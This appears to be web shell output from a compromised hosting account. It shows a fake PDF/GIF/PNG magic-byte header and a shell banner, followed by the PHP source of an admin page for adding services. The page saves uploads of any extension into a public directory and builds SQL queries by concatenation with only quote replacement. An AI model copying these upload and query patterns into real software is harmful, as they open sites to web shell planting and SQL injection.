%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/public_html/website_7c8ed5ef/admin/manage_services/ |
Upload File : |
<?php
error_reporting(0);
include("../function.php");
if ($_SESSION['admin_id'] == "") {
header('location:../login.php');
}
$service_tbl = mysqli_fetch_array(mysqli_query($conn, "SELECT * FROM admin WHERE admin_id='" . $_SESSION['admin_id'] . "'"));
// Sidebar strat
include('../include/sidebar.php');
// Sidebar wrap
/*error_reporting(E_ALL);
ini_set('display_errors',1)*/
// ini_set('display_startup_errors', 1);
// ini_set('display_errors', 1);
// error_reporting(E_ALL);
?>
<?php
if (isset($_POST['add']) && $_POST['add'] == 'Add') {
$title = $_POST['title'];
$title = str_replace("'", "\'", $title);
$content = $_POST['content'];
$content = str_replace("'", "\'", $content);
$description1 = $_POST['description1'];
$description1 = str_replace("'", "\'", $description1);
$description2 = $_POST['description2'];
$description2 = str_replace("'", "\'", $description2);
$description3 = $_POST['description3'];
$description3 = str_replace("'", "\'", $description3);
$description4 = $_POST['description4'];
$description4 = str_replace("'", "\'", $description4);
$description5 = $_POST['description5'];
$description5 = str_replace("'", "\'", $description5);
$description6 = $_POST['description6'];
$description6 = str_replace("'", "\'", $description6);
$faqheading = $_POST['faqheading'];
$faqheading = str_replace("'", "\'", $faqheading);
$faqdescription = $_POST['faqdescription'];
$faqdescription = str_replace("'", "\'", $faqdescription);
$teamheading = $_POST['teamheading'];
$teamheading = str_replace("'", "\'", $teamheading);
$teamdescription = $_POST['teamdescription'];
$teamdescription = str_replace("'", "\'", $teamdescription);
$faqheading1_atb = $_POST['faqheading1_atb'];
$faqheading1_atb = str_replace("'", "\'", $faqheading1_atb);
$faqcontent1_atb = $_POST['faqcontent1_atb'];
$faqcontent1_atb = str_replace("'", "\'", $faqcontent1_atb);
$teamheading1_atb = $_POST['teamheading1_atb'];
$teamheading1_atb = str_replace("'", "\'", $teamheading1_atb);
$teamcontent1_atb = $_POST['teamcontent1_atb'];
$teamcontent1_atb = str_replace("'", "\'", $teamcontent1_atb);
$status = $_POST['status'];
$file_name = $_FILES['image1']['name'];
$file_tmp = $_FILES['image1']['tmp_name'];
$file_ext = strtolower(end(explode('.', $_FILES['image1']['name'])));
$random_number = rand();
$new_file_name = $random_number . '.' . $file_ext;
$file_path = "../../images/Upload/Services/" . $new_file_name;
move_uploaded_file($file_tmp, $file_path);
$file_name1 = $_FILES['servicesimage1_atb']['name'];
$file_tmp1 = $_FILES['servicesimage1_atb']['tmp_name'];
$file_ext1 = strtolower(end(explode('.', $_FILES['servicesimage1_atb']['name'])));
$random_number1 = rand();
$new_file_name1 = $random_number . '.' . $file_ext1;
$file_path1 = "../../images/Upload/Services/" . $new_file_name1;
move_uploaded_file($file_tmp1, $file_path1);
$file_name2 = $_FILES['faqimage1_atb']['name'];
$file_tmp2 = $_FILES['faqimage1_atb']['tmp_name'];
$file_ext2 = strtolower(end(explode('.', $_FILES['faqimage1_atb']['name'])));
$random_number2 = rand();
$new_file_name2 = $random_number2 . '.' . $file_ext2;
$file_path2 = "../../images/Upload/Services/" . $new_file_name2;
move_uploaded_file($file_tmp2, $file_path2);
$file_name3 = $_FILES['teamimage1_atb']['name'];
$file_tmp3 = $_FILES['teamimage1_atb']['tmp_name'];
$file_ext3 = strtolower(end(explode('.', $_FILES['teamimage1_atb']['name'])));
$random_number3 = rand();
$new_file_name3 = $random_number3 . '.' . $file_ext3;
$file_path3 = "../../images/Upload/Services/" . $new_file_name3;
move_uploaded_file($file_tmp3, $file_path3);
$file_name4 = $_FILES['icon_class']['name'];
$file_tmp4 = $_FILES['icon_class']['tmp_name'];
$file_ext4 = strtolower(end(explode('.', $_FILES['icon_class']['name'])));
$random_number4 = rand();
$new_file_name4 = $random_number4 . '.' . $file_ext4;
$file_path4 = "../../images/Upload/Services/" . $new_file_name4;
move_uploaded_file($file_tmp4, $file_path4);
$addQry = mysqli_query($conn, "INSERT `service_tbl` SET
`title`='$title',
`content`='$content',
`description1`='$description1',
`description2`='$description2',
`description3`='$description3',
`description4`='$description4',
`description5`='$description5',
`description6`='$description6',
`faqheading`='$faqheading',
`faqdescription`='$faqdescription',
`teamheading`='$teamheading',
`teamdescription`='$teamdescription',
`faqheading1_atb`='$faqheading1_atb',
`faqcontent1_atb`='$faqcontent1_atb',
`teamheading1_atb`='$teamheading1_atb',
`teamcontent1_atb`='$teamcontent1_atb',
`image1`='$new_file_name',
`servicesimage1_atb`='$new_file_name1',
`faqimage1_atb`='$new_file_name2',
`teamimage1_atb`='$new_file_name3',
`icon_class`='$new_file_name4',
`status`='$status'") or die(mysqli_error($conn));
$product_id = mysqli_insert_id($conn);
$update_slug = create_url($title) . $product_id;
$UpdateSlugQry = mysqli_query($conn, "UPDATE `service_tbl` SET `slug`='$update_slug' WHERE id='$product_id'");
// Handle add to service_image_atb_tbl
if (isset($_FILES['serviceimage1']['name']) && is_array($_FILES['serviceimage1']['name'])) {
foreach ($_FILES['serviceimage1']['name'] as $key => $val) {
if (!empty($_FILES['serviceimage1']['name'][$key])) {
$image = rand(111111111, 999999999) . '_' . basename($_FILES['serviceimage1']['name'][$key]);
$file_path = "../../images/Upload/Services/" . $image;
// Move the uploaded file and insert into the database
if (move_uploaded_file($_FILES['serviceimage1']['tmp_name'][$key], $file_path)) {
$insertQuery = "INSERT INTO `service_image_atb_tbl` (`project_id`,`serviceimage1`) VALUES ('$product_id','$image' )";
if (!mysqli_query($conn, $insertQuery)) {
die("Error inserting new image: " . mysqli_error($conn));
}
}
}
}
}
// Handle add to services_faq_atb_tbl
if (isset($_FILES['faqimage1']['name']) && is_array($_FILES['faqimage1']['name'])) {
foreach ($_FILES['faqimage1']['name'] as $key => $val) {
$title_atb = mysqli_real_escape_string($conn, $_POST['faqheading1'][$key]);
$content_atb = mysqli_real_escape_string($conn, $_POST['faqdescription1'][$key]);
$image1 = rand(111111111, 999999999) . '_' . basename($_FILES['faqimage1']['name'][$key]);
$file_path = "../../images/Upload/Services/" . $image1;
// Move the uploaded file and insert into the database
if (move_uploaded_file($_FILES['faqimage1']['tmp_name'][$key], $file_path)) {
$insertQuery = "INSERT INTO `services_faq_atb_tbl` (`project_id`,`faqimage1`,`faqheading1`,`faqdescription1`) VALUES ('$product_id','$image1','$title_atb','$content_atb' )";
if (!mysqli_query($conn, $insertQuery)) {
die("Error inserting new image: " . mysqli_error($conn));
}
}
}
}
// Handle add to services_team_atb_tbl
if (isset($_FILES['teamimage1']['name']) && is_array($_FILES['teamimage1']['name'])) {
foreach ($_FILES['teamimage1']['name'] as $key => $val) {
$title_atb = mysqli_real_escape_string($conn, $_POST['teamtitle1'][$key]);
$content_atb = mysqli_real_escape_string($conn, $_POST['teamcontent'][$key]);
$image1 = rand(111111111, 999999999) . '_' . basename($_FILES['teamimage1']['name'][$key]);
$file_path = "../../images/Upload/Services/" . $image1;
// Move the uploaded file and insert into the database
if (move_uploaded_file($_FILES['teamimage1']['tmp_name'][$key], $file_path)) {
$insertQuery = "INSERT INTO `services_team_atb_tbl` (`project_id`,`teamimage1`,`teamtitle1`,`teamcontent`) VALUES ('$product_id','$image1','$title_atb','$content_atb' )";
if (!mysqli_query($conn, $insertQuery)) {
die("Error inserting new image: " . mysqli_error($conn));
}
}
}
}
echo "<script>window.location='show.php?page=services';</script>";
$_SESSION['message'] = "Service Insert successfully";
}
?>
<!-- [ Main Content ] start -->
<section class="pcoded-main-container">
<div class="pcoded-content">
<!-- [ breadcrumb ] start -->
<div class="page-header">
<div class="page-block">
<div class="row align-items-center">
<div class="col-md-12">
<div class="page-header-title">
<div class="card-header d-flex justify-content-between">
<button class="btn btn-light text-white fw-bold btn-sm btn-round has-ripple"><i class="feather icon-edit"></i> Add Services</button>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- [ breadcrumb ] end -->
<!-- [ Main Content ] start -->
<div class="row">
<div class="col-md-12">
<div class="card">
<!-- <div class="card-header d-flex justify-content-between">
</div> -->
<div class="card-body">
<?php if (isset($_SESSION['error'])) {
echo '<div class="alert alert-danger alert-dismissible fade show" role="alert">
<i class="feather icon-alert-triangle text-danger"></i> <strong class="text-dark">' . $_SESSION['error'] . '</strong>
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['error']);
?>
<form method="POST" name="reg" enctype="multipart/form-data" autocomplete="off">
<div class="container">
<div class="row">
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Title </label>
<input type="text" name="title" class="form-control">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Content</label>
<textarea row="3" id="editor1" name="content" class="form-control"></textarea>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Description 1</label>
<input type="text" name="description1" class="form-control">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Description 2</label>
<input type="text" name="description2" class="form-control">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Description 3</label>
<input type="text" name="description3" class="form-control">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Description 4</label>
<input type="text" name="description4" class="form-control">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Description 5</label>
<input type="text" name="description5" class="form-control">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Description 6</label>
<input type="text" name="description6" class="form-control">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Faq Heading</label>
<input type="text" name="faqheading" class="form-control">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">Faq Description</label>
<textarea row="3" id="editor7" name="faqdescription" class="form-control"></textarea>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">team Heading</label>
<input type="text" name="teamheading" class="form-control">
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="Title">team Description</label>
<textarea row="3" id="editor8" name="teamdescription" class="form-control"></textarea>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label for="image" class=" form-control-label mb-2">Image</label>
<input type="file" name="image1" class="form-control">
<p id="error1" style="color:red; display:none;">File Must be JPEG,JPG,PNG,SVG</p>
<p id="error2" style="color:red; display:none;">File Must be lessthan 20MB</p>
</div>
</div>
<div class="col-md-6 mb-2">
<div class="form-group">
<label for="image" class=" form-control-label mb-2">Icon class (60px-60px)</label>
<input type="file" name="icon_class" class="form-control">
<p id="error1" style="color:red; display:none;">File Must be JPEG,JPG,PNG,SVG</p>
<p id="error2" style="color:red; display:none;">File Must be lessthan 20MB</p>
</div>
</div>
<br>
<div class="bg-warning text-center my-4">
<h3 class="text-white">Services Images Section</h3>
</div>
<br>
<div class="col-md-12 ">
<div class="form-group">
<div class="row" id="input-container">
<div class="col-lg-5">
<h4>Motive Image</h4>
<input type="file" name="servicesimage1_atb" class="form-control" id="picture1">
<p id="error3" style="display:none; color:#FF0000;">
Invalid Image Format! Image Format Must Be JPG, JPEG, PNG or Webp.
</p>
<p id="error4" style="display:none; color:#FF0000;">
Maximum File Size Limit is 5MB.
</p>
</div>
<div class="col-lg-2 mt-4">
<a id="myButton" class="bg-success form-control text-center text-white fw-bold mt-1 mb-2">Add More</a>
</div>
</div>
</div>
<br>
<div class="bg-warning text-center my-4">
<h3 class="text-white">Faq Section</h3>
</div>
<br>
<div class="col-md-12 ">
<div class="form-group">
<div class="row" id="input-container1">
<div class="col-lg-5">
<h4>Faq Image</h4>
<input type="file" name="faqimage1_atb" class="form-control" id="picture1">
<p id="error3" style="display:none; color:#FF0000;">
Invalid Image Format! Image Format Must Be JPG, JPEG, PNG or Webp.
</p>
<p id="error4" style="display:none; color:#FF0000;">
Maximum File Size Limit is 5MB.
</p>
</div>
<div class="col-lg-5">
<h4>Faq Heading</h4>
<input type="text" name="faqheading1_atb" class="form-control" id="title5">
</div>
<div class="col-lg-10">
<h4>Faq Content</h4>
<textarea name="faqcontent1_atb" id="editor9" class="form-control"></textarea>
</div>
<div class="col-lg-2 mt-4">
<a id="myButton1" class="bg-success form-control text-center text-white fw-bold mt-1 mb-2">Add More</a>
</div>
</div>
</div>
</div>
<br>
<div class="bg-warning text-center my-4">
<h3 class="text-white">Team Section</h3>
</div>
<br>
<div class="col-md-12 ">
<div class="form-group">
<div class="row" id="input-container2">
<div class="col-lg-10">
<h4>Motive Image</h4>
<input type="file" name="teamimage1_atb" class="form-control" id="picture1">
<p id="error3" style="display:none; color:#FF0000;">
Invalid Image Format! Image Format Must Be JPG, JPEG, PNG or Webp.
</p>
<p id="error4" style="display:none; color:#FF0000;">
Maximum File Size Limit is 5MB.
</p>
</div>
<div class="col-lg-5">
<h4>Team Heading</h4>
<input type="text" name="teamheading1_atb" class="form-control">
</div>
<div class="col-lg-5">
<h4>Team Content</h4>
<textarea name="teamcontent1_atb" id="editor10" class="form-control"></textarea>
</div>
<div class="col-lg-2 mt-4">
<a id="myButton2" class="bg-success form-control text-center text-white fw-bold mt-1 mb-2">Add More</a>
</div>
</div>
</div>
</div>
<div class="col-md-6">
<div class="form-group">
<label class="form-label" for="status">Status</label>
<select class="form-select" name="status" required>
<option value="">Please select status</option>
<option value="1">Show</option>
<option value="0">Hide</option>
</select>
</div>
</div>
<div class="col-md-12 mt-2">
<div class="form-group">
<input type="submit" name="add" class="btn btn-success" value="Add">
<a class="text-white btn btn-dark " href="show.php?page=services">Back</a>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
<!-- [ form-element ] end -->
</div>
<!-- [ Main Content ] end -->
</div>
</section>
<!-- Required Js -->
<?php include('../include/footer.php'); ?>
<script>
$(document).ready(function() {
$("#myButton").click(function() {
$.ajax({
url: "insert_input.php",
success: function(html) {
$("#input-container").append(html);
}
});
});
});
$(document).on("click", ".remove-input", function() {
$(this).closest(".input-element").remove();
});
</script>
<script>
$(document).ready(function() {
$("#myButton1").click(function() {
$.ajax({
url: "insert_inputfaq.php",
success: function(html) {
$("#input-container1").append(html);
}
});
});
});
$(document).on("click", ".remove-input1", function() {
$(this).closest(".input-element1").remove();
});
</script>
<script>
$(document).ready(function() {
$("#myButton2").click(function() {
$.ajax({
url: "insert_inputteam.php",
success: function(html) {
$("#input-container2").append(html);
}
});
});
});
$(document).on("click", ".remove-input2", function() {
$(this).closest(".input-element2").remove();
});
</script>